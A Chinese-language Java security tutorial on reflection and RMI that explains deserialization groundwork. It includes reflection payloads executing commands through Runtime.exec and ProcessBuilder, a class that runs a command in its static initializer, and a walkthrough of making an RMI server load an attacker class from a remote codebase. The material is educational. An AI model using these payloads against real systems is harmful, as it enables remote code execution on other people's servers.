反射
Java安全可以从反序列化漏洞开始说起,反序列化漏洞又可以从反射开始说起。反射是大多数语言里不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
所谓的“动态特性”即:一段代码,改变其中的变量,将会导致这段代码产生功能性的变化
PHP本身拥有很多动态特性,所以可以通过“一句话木马”来执行各种功能;Java虽不像PHP那么灵活,但其提供的“反射”功能,也是可以提供一些动态特性。比如,这样一段代码,在你不知道传入的参数值的时候,你是不知道他的作用是什么的
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
上面的例子中,演示了几个在反射中极为重要的方法:
获取类的方法:forName
获取函数的方法:getMethod
执行函数的方法:invoke
基本上,这几个方法包揽了Java安全里各种和反射有关的Payload
forName不是获取类的唯一途径,通常来说我们有如下三种方式获取一个类对应的java.lang.Class对象
1.obj.getClass():如果上下文中存在某个类的实例obj,那么我们可以直接通过obj.getClass()来获取它的类
2.Test.class:如果已经加载了某个类,只是想获取它的java.lang.Class对象,那么就直接拿它的class属性即可。这个方法其实不属于反射
3.Class.forName:如果知道某个类的名字,想要获取到这个类,就可以使用forName来获取
4.补充ClassLoader.getSystemClassLoader().loadClass(“java.lang.Runtime”) 类似的利用类加载机制,也可以获取 Class 对象
| 方式 | 示例 | 是否需要已有对象 | 是否通常触发类初始化 |
|---|---|---|---|
obj.getClass() | p.getClass() | 需要 | 对象都创建了,类肯定已经初始化过 |
类名.class | Person.class | 不需要 | 通常不会 |
Class.forName() | Class.forName("com.eagles.Person") | 不需要 | 默认会 |
ClassLoader.loadClass() | loader.loadClass("com.eagles.Person") | 不需要 | 默认不会 |
补充知识
java.lang.Class对象是什么?
可以将其理解为:Java中用来描述“类本身信息”的对象,平时我们创建对象:
String s = "hello";
这里的s是String类的一个对象,而java.lang.Class对象描述的是String这个类本身:
String.class
普通对象 vs Class对象
class User {
private String name;
public void sayHello() {
System.out.println("hello");
}
}
普通对象是:
User user = new User(); //user表示一个具体用户对象
Class对象是:
Class<?> clazz = User.class; //clazz表示的是User这个类的结构信息
通过clazz可以拿到
clazz.getName(); // 获取类名
clazz.getDeclaredFields(); // 获取属性
clazz.getDeclaredMethods(); // 获取方法
clazz.getConstructors(); // 获取构造方法
总结来看class是JVM中保存类的说明书,说明书中记录了类名、属性、方法、构造方法等信息
在安全研究中,我们使用反射的一大目的,就是绕过某些沙盒。比如,上下文中只有Integer类型的数字,我们如何获取到可以执行命令的Runtime类呢?也许:
getClass().forName(“java.lang.Runtime”)
forName有两个函数重载:
Class<?> forName(String name)
Class<?> forName(String name, **boolean** initialize, ClassLoader loader)
第一个就是我们最常见的获取class的方式,其实可以理解为第二种方式的一个封装
Class.forName(className)
// 等于
Class.forName(className, true, currentLoader)
默认的情况下,forName的第一个参数是类名;第二个参数表示是否初始化;第三个参数就是ClassLoader。
ClassLoader是什么?
它就是一个“加载器”,告诉java虚拟机如何加载这个类。Java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime。
第二个参数initialize常常被人误解

图中代码说到“构造函数,初始化时执行”,其实在forName的时候,构造函数并不会执行,即使我们设置initialize=true。
那么这个初始化究竟指什么呢?
可以将这个初始化理解为类的初始化,看到这个类,其三个“初始化”方法有什么区别,调用顺序是什么,在安全上有什么价值?:
public class TrainPrint {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
}
运行一下就知道,首先调用的是static{},其次是{},最后是构造函数。其中static{}就是在类初始化的时候调用的,而{}中的代码会放在构造函数super()后面,但在当前构造函数内容的前面。所以说,forName中的initialize=true其实就是告诉Java虚拟加是否执行“类初始化”

到这里就能够清晰的知道前面的一个不严谨的点是什么,forName中的initialzation指的是类的初始化而非对象初始化。类初始化的时候并不会执行构造函数,只会执行static中的内容
类的初始化:指的是当类被加载到JVM中时执行的过程。在这个过程中,JVM会执行静态初始化块和静态变量的初始化。这些静态成员只会初始化一次,在类加载过程中完成。静态初始化块中的代码会在类加载时执行,这意味着在第一次创建类的对象之前执行。
对象的初始化:指的是创建类的对象时执行的过程。在对象初始化的过程中,JVM会为对象分配内存,并执行非静态初始化块、实例变量的初始化以及构造函数。对象的初始化会在类的静态初始化后进行。每次创建对线时,这些步骤都会执行。
补充知识
Java创建对象的完整过程
Person p = new Person(“zhangsan”,20);
1 因为new用到了Person.class.所以会先找到Person.class文件并加载到内存中。
2 执行该类中的static代码块,如果有的话,给Person.class类进行初始化。
3 在堆内存中开辟空间,分配内存地址。
4 在堆内存中建立对象的特有属性。并进行默认初始化。
5 对属性进行显示初始化。
6 对对象进行构造代码块初始化。
7 对对象进行对应的构造函数初始化。
8 将内存地址付给栈内存中的p变量。
假设我们有如下函数,其中函数的参数name可控
public void ref(String name) throws Exception {
Class.forName(name);
}
我们就可以编写一个恶意类,将恶意代码放置在static{}中,从而执行:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在正常情况下,除了系统类,如果我们想拿到一个类,需要先import才能使用。而使用forName就不需要,这对于攻击来说十分有利,可以加载任意类。其原因是import是“编译期语法”,Class.forName()是“运行时动态加载”
另外我们经常在一些源码里看到,类名的部分包含$符号,比如fastjson在checkAutoType时候就会先将$替换成:https://github.com/alibaba/fastjson/blob/fcc9c2a/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java#L1038 $的作用是查找内部类
Java的普通类C1中支持编写内部类C2,而在编译的时候,会生成两个文件:C1.class和C1$C2.class,我们可以把他们看作两个无关的类,通过Class.forName(“C1$C2”)即可加载这个内部类。
假设一个Java文件
public class C1 {
public String name = "outer";
public class C2 {
public void hello() {
System.out.println("hello from C2");
}
}
}
编译后会生成两个.class文件C1.class(外部类)和C1$C2.class(内部类)
获得类以后,我们可以继续使用反射来获取这个类中的属性、方法,也可以实例化这个类,并调用方法。
class.newInstance()的作用就是调用这个类的无参构造函数,不过有的时候在写漏洞利用方法的时候,会发现使用newInstance总是不成功这时候原因可能是:
1.使用的类没有无参构造
2.使用的类构造函数是私有的
最常见的情况就是java.lang.Runtime,这个类在我们构造命令Payload的时候很常见,但不能直接这样来执行命令
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
原因是Runtime类的构造方法是私有的

为什么有的类的构造方法是私有的,难道他不想让用户使用这个类吗?这其实设计到很常见的设计模式“单例模式”。比如对于web应用来说,数据库连接只需建立一次,而不是每次用到数据库的时候再新建立一个连接,此时作为开发者你就可以将数据库连接使用的类的构造函数设置为私有,然后编写一个静态方法来获取。这样,只有类初始化的时候会执行一次构造函数,后面只能通过getInstance获取这个对象,避免建立多个数据库连接。
public class TrainDB {
private static TrainDB instance = new TrainDB();
public static TrainDB getInstance() {
return instance;
}
private TrainDB() {
// 建立连接的代码...
}
}
Runtime类就是单例模式,我们只能通过Runtime.getRuntime()来获取到Runtime对象。我们将上述Payload进行修改即可正常执行命令了:
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",
String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
这里用到了getMethod和invoke方法
getMethod的作用是通过反射获取一个类的某个特定的公有方法。Java中支持类的重载,我们不能仅通过函数名来确定一个函数。所以在调用getMethod的时候,我们需要传给他你许哟啊获取的函数的参数列表,比如这里的Runtime.exec方法有6个重载这里使用第一个,只有一个参数最简单,类型是String,所以我们使用getMethod(“exec”,String.class)来获取Runtime.exec方法

invoke的作用是执行方法更具体来说是反射执行method,第一个参数是:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类(静态方法是与类关联的,而不是与类的实例关联)
正常执行方法是[1].method([2],[3],[4]…),其实在反射里就是method.invoke([1],[2],[3],[4]…),比如这里的Runtime.exec(“calc.exe”)反射则变为exec.invoke(Runtime,”calc.exe”),那么分解一下payload
Class clazz = Class.forName("java.lang.Runtime");//获取Runtime类
Method execMethod = clazz.getMethod("exec", String.class);//获取Runtime类下的exec方法
Method getRuntimeMethod = clazz.getMethod("getRuntime");//获取Runtime类下的getRuntime方法
Object runtime = getRuntimeMethod.invoke(clazz);//获取Runtiem对象,其实这里传入NULL也行,因为getRuntime方法是静态方法与类关联而非对象
execMethod.invoke(runtime, "calc.exe");//Runtime.exec.invoke("calc.exe"),这里exec非静态方法与实例关联所以必须传入runtime
Class clazz = Class.forName("java.lang.Runtime")
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(null),"calc.exe")
问题来了
如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
如果一个方法或构造方法是私有方法,我们是否能执行它呢?
针对第一个问题,我们需要用到一个新的反射方法getConstructor。跟getMethod类似,getConstructor接收的参数是构造函数列表类型,因为构造函数也支持重载,所以必须用参数列表类型才能唯一确定一个构造函数。
比如这个类
class User {
public User() {}
public User(String name) {}
public User(String name, int age) {}
}
有三个构造函数
User()
User(String name)
User(String name, int age)
它们的参数类型列表分别是
无参构造: []
一个参数构造: [String.class]
两个参数构造: [String.class, int.class]
Constructor<Person> c3 = Person.class.getConstructor(String.class, int.class);#表示查找String.class,int.class参数列表的构造函数
获取到构造函数后,我们使用newInstance来执行。比如我们常用的另一种执行命令的方式ProcessBuilder,我们使用反射来获取其构造函数,然后调用start()来执行命令;
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)
clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).star
t();
ProcessBuilder有两个构造函数:
public ProcessBuilder(List<String> command)
public ProcessBuilder(String... command)
上面用到了第一个形式的构造函数,所以在getConstructor的时候传入的是List.class。但是我们看到前面这个Payload用到了Java里的强制类型转换,有的时候我们利用漏洞的时候(在表达式上下文中)是没有这种语法的。所以,我们仍需利用反射来完成这一步。通过getMethod(“start”)获取到了start方法,然后invoke执行,invoke的第一个参数就是ProcessBuilder Object了。
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("calc.exe")));

那么如果我们要用public ProcessBuilder(String…command)这个构造函数,需要怎么用反射执行呢?
这就涉及到了Java里的可变长参数(varargs)了。正如其他语言一样,Java也支持可变长参数,就是当你定义函数的时候不确定参数数量的时候,可以使用…这样的语法来表示“这个函数的参数个数是可变的”。对于可变长参数,Java其实在编译的时候会编译成一个数组,也就是说,如下这两种写法在底层是等价的(也就是不能重载)
public void hello(String[] names) {}
public void hello(String...names) {}
也由此,如果我们有一个数组,相传给hello函数,只需要直接传即可
String[] names = {"hello", "world"};
hello(names);
那么对于反射来说,如果要获取的目标函数里包含可变长参数,其实我们认为它是数组就行了。所以我们将字符串组的类String[].class传给getConstructor,获取processBuilder的第二种构造函数
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
在调用newInstance的时候,因为这个函数本身接收的是一个可变长参数,我们传给ProcessBuilder的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new
String[][]{{"calc.exe"}})).start();
反射版本
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
针对第二个问题,这就涉及到getDeclared系列的反射了,与普通的getMethod、getConstructor区别是:
1.getMethod系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
class Parent {
public void parentPublic() {}
}
class Child extends Parent {
public void childPublic() {}
private void childPrivate() {}
}
可调用
clazz.getMethod("childPublic");
clazz.getMethod("parentPublic");
不可调用
clazz.getMethod("childPrivate");
2.getDeclaredMethod系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了。
class Parent {
public void parentPublic() {}
}
class Child extends Parent {
public void childPublic() {}
private void childPrivate() {}
}
可调用
clazz.getDeclaredMethod("childPublic");
clazz.getDeclaredMethod("childPrivate");
不可调用
public void parentPublic() {}
getDeclareConstructor也和getConstructor用法类似区别和上述描述一样不过多赘述
目前有了解决方法那么我们换个思路来调用Runtime类的私有构造方法,直接用getDeclaredConstructor来获取这个私有的构造方法来实例化对象
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
Class clazz
这里使用了一个方法setAccessible,这个是必须的。在获取到一个私有方法后,必须用setAccessible修改它的作用域,否则仍然不能调用。
反射总结
怎么去理解:所谓的 “动态特性” 即:一段代码,改变其中的变量,将会导致这段代码产生功能性的变化?
直观的代码解释
Class clazz = Class.forName(className);
Method method = clazz.getMethod(methodName);
method.invoke(obj);
看似死的代码因为反射的存在让其“动了起来”,最终执行的结果看的是className、methodName、obj,这段代码最后产生的功能可能是
className = "java.lang.ProcessBuilder";
methodName = "start";
or
className = "java.lang.Runtime";
methodName = "exec";
......
为什么反射非常重要?
我们可以通过反射获取上下文不曾出现的类,获取该类中的方法进行执行。究其原因:import 是 “编译期语法”,Class.forName () 是 “运行时动态加载”
反射第一步,拿到类:forName等方法拿到类
反射第二步,找构造方法,创建对象:除了静态方法、静态代码块这类属于类本身的内容,其余普通成员方法通常需要先创建类的对象,再通过对象调用。对象的创建少不了对应的构造方法。
class.newInstance()调用类的无参构造,时常失败。有的类没有无参构造,有的无参构造私有,有的类采用“单例模式”设计思路。
单例突破:单例模式设计思路是为了防止多实例有且只提供一个实例,我们目的就是获取实例所以并无阻碍。单例模式刚好为我们提供了静态方法getInstance(),可以直接通过类名调用获得实例。
类中没有无参构造方法,又无静态方法获取实例突破:构造方法支持重载那么也就意味着存在多个构造方法,因此采用getConstructor方法通过传入参数列表来获取指定的构造方法再newInstance执行即可获得实例(特别的要获取一个参数列表是“可变长参数”的构造方法,将其当作数组即可)
私有突破:getDeclaredMethod、getDeclareConstructor可获取私有方法,需要setAccessible=true突破
反射第三步,方法调用:这个没啥可说的,主要是理解[1].method[2,3,4…]和method.invoke[1,2,3,4…]
RMI协议
RMI全称是Remote Method Invocation,远程方法调用Java独有的一种机制,其目标就是让某个Java虚拟机上的对象调用另一个Java虚拟机中对象上的方法。
RMI流程
RMI Server
package server;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://192.168.75.153:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
一个RMI Server分为三个部分:
1.一个继承了java.rmi.Remote的接口,其中定义我们要调用的函数,比如这里的hello()
2.一个实现了此接口的类
3.一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址。
启动的时候java -Djava.rmi.server.hostname=192.168.75.153 server.RMIServer告诉RMI将stub里写192.168.75.153
RMI Client
package client;
import server.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://192.168.75.153:1099/Hello");
String ret = hello.hello();
System.out.println( ret);
}
}
客户端就简单多了,使用Naming.lookup在Registry中寻找到名字是Hello的对象,后面的使用就和在本地使用一样了。虽说执行远程方法的时候是在远程服务器上执行的,但实际上我们还是需要知道有哪些方法,这时候接口的重要性就体现了,这也是为什么我们前面要集成Remote并将我们需要调用的方法写在接口IRemoteHelloWorld里,因为客户端也需要用到这个接口。
wireshark抓包看RMI的通信过程

完整的通信过程,我们可以发现,整个过程进行了两次TCP握手,也就是我们实际建立了两次TCP连接。
第一次建立TCP连接是连接远端192.168.135.142的1099端口,这也是在代码中看到的端口,二者进行沟通后,向远端发送了一个“Call”消息,远端恢复了一个“ReturnData”消息,然后新建了一个TCP连接,连接到远端的33769端口
为什么会连接33769端口呢?
在RetrunData这个包中,返回了目标的IP地址192.168.135.142,其后跟的一个字节\x00\x00\x83\xE9,刚好就是整数33769的网络序列

这段数据流中从\xAC\xED开始往后就是Java序列化数据了,IP和端口只是这个对象的一部罢了。
整个过程:首先客户端连接Registry也就是Server开放的1099端口,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回一个序列化数据,这个就是找到的Name=Hello的对象,这个对应数据流中的RetrunData消息;客户端反序列化该对象,发现该对象是一个远程对象,地址在192.168.135.142:33769,于是再与这个地址建立TCP连接;在这个新的连接中,才执行真正的远程方法调用,也就是hello()。

在 RMI 里,Registry 一般存在于服务端所在机器上。RMI Registry就像一个网关,他自己是不会执行远程方法的,但RMI Server可以在上面注册一个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程方法实际上再RMI Server上调用。
RMI过程中有一下三个参与者:
RMI Registry
RMI Server
RMI Client
为什么示例代码只有两部分?原因是,通常我们在新建一个RMI Registry的时候,都会直接绑定在一个对象上面,也就是说我们示例代码中的Server其实包含了Registry和Server两部分:
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());
第一行创建并运行RMI Registry,第二行将RemoteHelloWorld对象绑定到Hello这个名字上。Naming.bind的第一个参数是一个URL,形如:rmi://host:port/name。其中host和port就是RMI Registry的地址和端口,name是远程对象的名字。
如果RMI Registry在本地运行那么host和port是可以省略的,此时host默认是localhost,port默认是1099:
Naming.bind("Hello", new RemoteHelloWorld());
以上就是RMI整个的原理与流程。那么RMI带来哪些安全问题?可以从两个方向思考一下这个问题:
1.如果我们能访问RMI Registry服务,如何对其攻击?
2.如果我们控制了目标RMI客户端中Naming.lookup的第一个参数(也就是RMI Registry的地址),能不能进行攻击?
如何攻击RMI Registry
当我们可以访问目标RMI Registry的时候,会有哪些安全问题呢?
首先RMI Registry是一个远程对象管理的地方,可以理解为一个远程对象的”后台”。我们可以尝试直接访问”后台”功能,比如修改远程服务器上Hello对应的对象:
RemoteHelloWorld h = new RemoteHelloWorld();
Naming.rebind("rmi://192.168.75.153:1099/Hello", h);

但是报错了,是因为Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind(覆盖绑定)、bind(绑定)、unbind(删除绑定)等方法。不过list和lookup方法可以远程调用
list方法可以列出目标上所有绑定的对象
String[] s = Naming.list("rmi://192.168.75.153:1099");
lookup作用就是获取某个远程对象,那么只要目标服务器上存在一些危险方法,我们通过RMI就饿可以对其进行调用,之前曾经有一个工具https://github.com/NickstaDB/BaRMIe其中一个功能就是进行危险方法的探测。
RMI利用codebase执行任意代码
曾经有段时间,Java是可以运行在浏览器中的,通过使用Applet,而在使用Applet的时候通常需要指定一个codebase属性比如:
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>
除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
如果我们指定codebase=http://example.com/,然后加载org.vulhub.example.Example类,则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为Example类的字节码。
RMI的流程中,客户端和服务端之间传递的是一些反序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。
这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗?
在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行。
不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:
1.安装被配置了SecurityManager
2.Java版本低于7u21、6u45,或者设置了java.rmi.server.userCodebaseOnly=false其中java.rmi.server.useCodebaseOnly是在Java 7u21、6u45的时候修改的一个默认配置:https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html、https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
官方将java.rmi.server.useCodebaseOnly的默认值由false改为了true。在java.rmi.server.userCodebaseOnly配置为true的情况下,Java虚拟机只信任预先配置好的codebase,不再支持从RMI请求中获取。
简单的RMIServer进行漏洞复现
// ICalc.java
package server;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
// Calc.java
package server;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
//RemoteRMIServer.java
package server;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
// client.policy
grant {
permission java.security.AllPermission;
};
编译&运行
javac server/*.java
java -Djava.rmi.server.hostname=192.168.75.153 \
-Djava.rmi.server.useCodebaseOnly=false \
-Djava.security.policy=client.policy \
server.RemoteRMIServer
其中,java.rmi.server.hostname是服务器的地址,远程调用时需要根据这个给值来访问RMIServer
再建立一个RMIClient.java:
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.135.142:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才回去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。
运行RMICilent
java -Djava.rmi.server.useCodebaseOnly=false
Djava.rmi.server.codebase=http://example.com/ RMIClient
此时会抛出一个magic value不正确的错误

查看example.com的日志可以见收到了来自Java的请求/RMIClient$Payload.class。因为没有实际放置这个类文件,所以出现异常

因此只需要编译一个恶意类,将其class文件放置在Web服务器的/RMIClient$Payload.class即可。
那么从原理上来讲,codebase究竟是如何传递进而被利用的呢?
抓取RMI的数据包,两个TCP链接
本机与RMI Registry的通信(数据包中是1099端口)
本机与RMI Server的通信(数据包中是64000端口)

可见,在与RMI Registry通信的时候Wireshark是识别除了协议类型。我们选择其中序号为2485的数据包然后复制wireshark识别出的Java Serialization数据段:

这段数据由0xACED开头,明显就能看出这是一段Java序列化数据,我们可以使用SerializationDumper对Java序列化数据进行分析

SerializationDumper输出了很多预定义常量,像TC_BLOCKDATA这种,是什么意思呢?此时需要借助Java序列化的协议文档:https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
这篇文档里用了一种类似BNF(巴科斯范式)的形式描述了序列化数据的语法,比如我们这里的这段简单数据,其涉及到如下语法规则:
stream:
magic version contents
contents:
content
contents content
content:
object
blockdata
object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET
blockdata:
blockdatashort
blockdatalong
blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
newString:
TC_STRING newHandle (utf)
TC_LONGSTRING newHandle (long-utf)
其中TC_BLOCDATA这部分对应的是contents -> content -> blockdata -> blockdatashort,TC_STRING这部分对应的是contents -> content -> object -> newString。都可以在文档里找到完整的语法定义。
这一整个序列化对象,其实描述的就是一个字符串,其值是refobj。意思是获取远程的refobj对象。
接着我们在序号为2487的数据包中获取到了这个对象
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 15 - 0x0f
Contents - 0x01a370dbcf0000019e5ddea2dd8020
TC_OBJECT - 0x73
TC_PROXYCLASSDESC - 0x7d
newHandle 0x00 7e 00 00
Interface count - 2 - 0x00 00 00 02
proxyInterfaceNames
0:
Length - 15 - 0x00 0f
Value - java.rmi.Remote - 0x6a6176612e726d692e52656d6f7465
1:
Length - 12 - 0x00 0c
Value - server.ICalc - 0x7365727665722e4943616c63
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
newHandle 0x00 7e 00 01
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 1 - 0x00 01
Value - h - 0x68
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 37 - 0x00 25
Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
java.lang.reflect.Proxy
values
h
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - java.rmi.server.RemoteObjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 02
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 28 - 0x00 1c
Value - java.rmi.server.RemoteObject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
newHandle 0x00 7e 00 05
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.rmi.server.RemoteObject
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 55 - 0x37
Contents - 0x000a556e6963617374526566000e3139322e3136382e37352e3135330000872bd6e3e686967beda7a370dbcf0000019e5ddea2dd800101
TC_ENDBLOCKDATA - 0x78
java.rmi.server.RemoteObjectInvocationHandler
values
这是一个java.lang.reflect.Proxy对象,其中有一段数据储存在objectAnnotation中:0x000a556e6963617374526566000e3139322e3136382e37352e3135330000872bd6e3e686967beda7a370dbcf0000019e5ddea2dd800101,记录了RMI Server的地址和端口。
在拿到RMI Server的地址和端口后,本机就会去连接并正式开始调用远程方法。

可见wireshark没有再识别出RMI协议。我们选择2496的数据包,其内容是50 ac ed开头50是指RMI CALL,ac ed是Java序列化数据

可见,我们的codebase是通过[Ljava.rmi.server.ObjID;的classAnnotations传递的,所以即使我们没有RMI的客户端,只需要修改classAnnotations的值,就能控制codebase,使其指向攻击者的恶意网站。
classAnnotations是什么?
序列化Java类的时候用到了一个类,叫ObjectOutputStream。这个类内部有一个方法annotateClass,ObjectOutputStream的子类有需要向序列化后的数据里放任何内容,都可以重写这个方法,写入你自己想要的数据,然后反序列化时,就可以读取到这个信息并使用。
比如我们RMI的类MarshalOutputStream就将当前的codebase写入:
所以,我们在分析序列化数据时看到的classAnnotations,实际上就是annotateClass方法写入的内容。
RMI总结
RMI远程方法调用,一共三部分Server Registry Client
通信过程:
1.Server将Registry绑定在某个接口上
2.Client -> Registry建立TCP连接
3.Registry 返回序列化对象-> Client 反序列化对象发现是远程对象带有IP:端口
4.Client -> Server建立第二次TCP连接,进行远程方法调用
Registry是远程对象管理的地方,能访问Registry是否就能够通过访问Registry尝试覆盖远程服务器上的方法?
这里Java对RMI Registry做了限制,只有来源地址是localhost的时候才能调用rebind、bind、unbind等方法
RMI中客户端和服务端之间传递的是一些反序列化后的对象,这些对象在反序列化时,就会去寻找类。如果一段反序列化时发现一个对象就会去CLASSPATH下寻找相对应的类,如果本地没有找到这个类,就会去远程加载codebase中的类。codebase被控制就可以加载恶意类(条件是:安装并配置了SecurityManager、Java版本低于7u21、6u45或者设置了 java.rmi.server.userCodebaseOnly=false )
